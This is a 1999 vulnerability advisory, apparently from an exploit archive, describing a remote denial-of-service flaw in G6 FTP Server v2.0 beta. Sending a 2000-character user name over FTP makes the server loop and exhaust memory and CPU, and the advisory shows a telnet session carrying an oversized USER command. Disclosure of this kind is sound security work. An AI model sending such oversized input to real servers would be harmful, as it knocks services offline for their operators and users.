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g6ftp.dos.txt

g6ftp.dos.txt
Posted Nov 17, 1999
Authored by Underground Security Systems Research

Remote DOS Attack in G6 FTP Server v2.0 (beta 4/5) caused by a buffer overflow in a long user name.

tags | exploit, remote, overflow
SHA-256 | 10a81014393e2e851e86f1b981ebf6ad5d458b73177cd286b8726538c086aa92

g6ftp.dos.txt

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Remote D.o.S Attack in G6 FTP Server v2.0 (beta 4/5) Vulnerability

PROBLEM

UssrLabs found a Local/Remote DoS Attack in G6 FTP Server v2.0 (beta 4/5),
the buffer overflow is caused by a long user name, 2000 characters.
the G6FTP start to do infinites loops in the main program,and start eating
all memory and all computer resource CPU 100%, at the moment of no more
memory, if this happend ALL System is down :(

Example:
[gimmemore@itsme]$ telnet example.com 21
Trying example.com...
Connected to example.com.
Escape character is '^]'.
220-G6 FTP Server v2.0 (beta 5) ready ...
USER {buffer)

Binary/Source for this D.O.S:

http://www.ussrback.com/g6ftp/


Where buffer is 2000 characters.

Vendor Status:
Not Contacted

Vendor Url: http://www.gene6.com/
Program Url: http://www.gene6.com/g6ftpd/download.html

Credit: USSRLABS

SOLUTION
Nothing yet.

u n d e r g r o u n d s e c u r i t y s y s t e m s r e s e a r c h
http://WWW.USSRBACK.COM


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